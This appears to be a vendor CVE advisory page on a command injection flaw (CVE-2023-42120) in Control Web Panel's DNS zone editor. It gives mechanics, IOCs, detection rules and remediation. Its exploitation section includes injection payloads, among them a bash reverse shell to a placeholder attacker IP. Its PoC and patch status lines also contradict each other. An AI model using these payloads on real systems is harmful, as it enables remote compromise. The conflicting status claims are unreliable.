☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-42120

CVE-2023-42120 Remote Code Execution in Control web panel
📅 PUBLISHED: 2024-05-03 02:13 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.77%
👁️
1.77% probability
44.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-42120 is a critical command injection vulnerability in the Control Web Panel (CWP) dns_zone_editor module. An authenticated remote attacker can inject arbitrary OS commands due to improper validation of user-supplied input before it is passed to a system call. Successful exploitation leads to full remote code execution with root privileges. The vulnerability has a CVSS score of 8.8 (High) and is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No public proof-of-concept or patch is currently available, but the risk is significant for any organization using CWP for web hosting management.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Control Web Panel software, a standalone web hosting control panel.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The high CVSS score reflects the ease of exploitation (low complexity, no user interaction) and the severe impact (full system compromise as root). Authentication is required, but an attacker with low-privileged credentials can escalate to root.

Deep Dive & Mechanics

The vulnerability resides in the dns_zone_editor module of Control Web Panel. This module is used to manage DNS zone files. The flaw occurs when the application constructs a system command using user-supplied input without proper sanitization. Specifically, the input is passed to a function like exec() or system() in PHP, allowing an attacker to inject arbitrary shell commands.

Root Cause: Lack of input validation and failure to use escapeshellarg() or similar escaping functions before executing OS commands.

Attack Flow:

  1. Attacker authenticates to the CWP web interface (e.g., as a reseller or admin).
  2. Attacker navigates to the DNS zone editor functionality.
  3. Attacker crafts a malicious payload in a field (e.g., zone name, record value) that includes command injection characters like ;, |, or &&.
  4. The payload is passed to a system call without sanitization.
  5. The injected command executes with root privileges, allowing the attacker to run arbitrary code.

Example vulnerable code snippet (conceptual):

$zone_name = $_POST['zone_name'];
$command = "named-checkzone $zone_name /etc/namedb/master/$zone_name";
system($command);

Vulnerable vs. Patched Code

Since no official patch is available, the following shows a conceptual vulnerable vs. secure implementation.

Vulnerable Code:

$zone_name = $_POST['zone_name'];
$command = "named-checkzone $zone_name /etc/namedb/master/$zone_name";
system($command);

Patched Code (conceptual):

$zone_name = $_POST['zone_name'];
$zone_name = escapeshellarg($zone_name);
$command = "named-checkzone $zone_name /etc/namedb/master/$zone_name";
system($command);

The patched version uses escapeshellarg() to properly escape the input, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Control Web Panel instance (e.g., version 0.9.8.x or similar).
  • Valid credentials (e.g., reseller or admin account).

Exploitation Steps:

  1. Log in to the CWP web interface.
  2. Navigate to DNS Functions > DNS Zone Editor.
  3. In the "Zone Name" field, inject a command using backticks or semicolons. Example payload:
    example.com; id
    
  4. Submit the form. The output of the id command will be displayed or executed in the background.
  5. For a reverse shell, use:
    example.com; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    

Note: No public exploit code is available, but the above demonstrates the injection vector.

Blue Team

Detection & Response:

  • Monitor web server logs for unusual POST requests to /dns_zone_editor or similar endpoints.
  • Look for shell metacharacters (;, |, &, `) in DNS-related parameters.
  • Use the Sigma and Suricata rules provided in the Detection Engineering section.
  • Immediately isolate any affected CWP server and review authentication logs for unauthorized access.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
    • Unusual DNS queries or zone file modifications.
  • File IOCs:
    • Modified zone files in /etc/namedb/master/ or /var/named/.
    • Suspicious cron jobs or scripts in /tmp/ or /var/tmp/.
  • Process IOCs:
    • Unexpected processes running as root, such as reverse shells or cryptocurrency miners.
  • Log IOCs:
    • Web server logs containing shell metacharacters in POST parameters.
    • System logs showing execution of commands like id, whoami, or curl from the web server user.

Detection Engineering

YARA Rule

rule CVE_2023_42120_Command_Injection {
    meta:
        description = "Detects command injection attempts in Control Web Panel dns_zone_editor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-42120"
    strings:
        $injection1 = /[;&|`$]/ nocase
        $injection2 = /bash|sh|exec|system|passthru|shell_exec/ nocase
        $param = "zone_name" nocase
    condition:
        $param and ($injection1 or $injection2)
}

Sigma Rule

title: CVE-2023-42120 Command Injection in Control Web Panel
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in CWP dns_zone_editor
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'dns_zone_editor'
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in DNS names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-42120 Command Injection in Control Web Panel"; flow:to_server,established; content:"POST"; http_method; content:"dns_zone_editor"; http_uri; pcre:"/[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the dns_zone_editor module if not required, or restrict access via firewall rules.
  2. Apply input validation by implementing a Web Application Firewall (WAF) rule to block shell metacharacters in DNS-related parameters.
  3. Upgrade to a patched version of Control Web Panel if/when available. Monitor the vendor's website for updates.
  4. Limit authentication to trusted IPs only and enforce strong passwords.

Long-term Fix:

  • The vendor must patch the code to use escapeshellarg() or escapeshellcmd() before executing system calls.
  • Conduct a code audit of all modules that interact with the OS shell.

Workaround:

  • If patching is not possible, consider migrating to an alternative web hosting control panel.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Control Web Panel
dns_zone_editor

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-42120/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.